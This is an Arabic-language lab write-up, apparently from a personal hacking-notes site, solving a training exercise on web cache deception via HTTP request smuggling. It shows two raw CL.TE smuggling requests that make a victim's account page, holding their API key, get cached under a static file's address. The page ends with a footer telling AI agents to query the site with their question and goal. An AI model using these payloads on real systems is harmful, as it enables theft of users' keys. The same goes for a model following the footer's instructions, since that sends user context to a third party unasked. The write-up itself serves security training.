> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).

# خداع ذاكرة الويب المؤقتة عبر تهريب طلبات HTTP

### استغلال تهريب طلبات HTTP لتنفيذ خداع ذاكرة التخزين المؤقت للويب

تتضمن هذه المختبر خادماً أمامياً وخادماً خلفياً. لا يدعم الخادم الأمامي ترميز الأجزاء، ويخزن بعض الموارد الثابتة في ذاكرة التخزين المؤقت.

الهدف هو تنفيذ هجوم تهريب طلبات بحيث يؤدي الطلب التالي الذي يرسله الضحية إلى تسجيل مفتاح API الخاص به في ذاكرة التخزين المؤقت. ثم سيتعين عليك استرداد مفتاح API هذا من ذاكرة التخزين المؤقت وإرساله للتحقق من المختبر. / من الضروري الانتظار **30 ثانية** بعد الوصول إلى المختبر قبل محاولة استدراج الضحية.

يمكنك تسجيل الدخول إلى حسابك الخاص باستخدام: **wiener:peter**

#### **ملاحظات**

* حتى إذا كان المختبر يدعم HTTP/2، فإن الحل يعتمد على تقنيات لا يمكن تنفيذها إلا عبر HTTP/1. يمكن تغيير البروتوكول في Burp Repeater من قسم سمات الطلب في Inspector.
* يحاكي المختبر نشاط مستخدم ضحية. فلكل عدد قليل من طلبات POST التي يرسلها المهاجم، سيقوم الضحية بإرسال طلباته الخاصة. وقد يكون من الضروري أحيانًا تكرار الهجوم لمزامنة التسلسل بشكل صحيح.

#### **تحليل السلوك**

في لوحة "حسابي"، لديك مفتاح API الخاص بك.

<figure><img src="/files/b316e86c91580492bce84a26b5b73b4d7aa803e0" alt=""><figcaption></figcaption></figure>

لوحظ أن `tracking.js` الملف مخزن مؤقتًا لمدة **30 ثانية**.

<figure><img src="/files/e7db69ab2393dc8abc280cb42407a576a07c7194" alt=""><figcaption></figcaption></figure>

#### **اختبار أولي**

عند إرسال الطلب غير الصحيح التالي:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Test: A
```

نحصل على استجابة **404**، مما يؤكد سلوكًا قابلاً للاستخدام.

<figure><img src="/files/9585a940dd397b3fe447d179fc044662199f36f3" alt=""><figcaption></figcaption></figure>

#### **تهريب موجَّه إلى /my-account**

يتم إعداد طلب مهرب لـ `/my-account` بعد ذلك:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
Test: A
```

عندما يرسل الضحية طلبه الخاص بعد حقننا، يتم تخزين الاستجابة التي تحتوي على \*\*مفتاح API الخاص به\*\* في ذاكرة التخزين المؤقت بدلاً من `tracking.js` الملف.

#### **النتيجة**

عند تحميل المورد المخزن مؤقتًا، سيظهر مفتاح API الخاص بالمسؤول:

```
مفتاح API الخاص بك هو: WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```

<figure><img src="/files/c44ded8eec53a98d89892e3cc9ed642b59735428" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
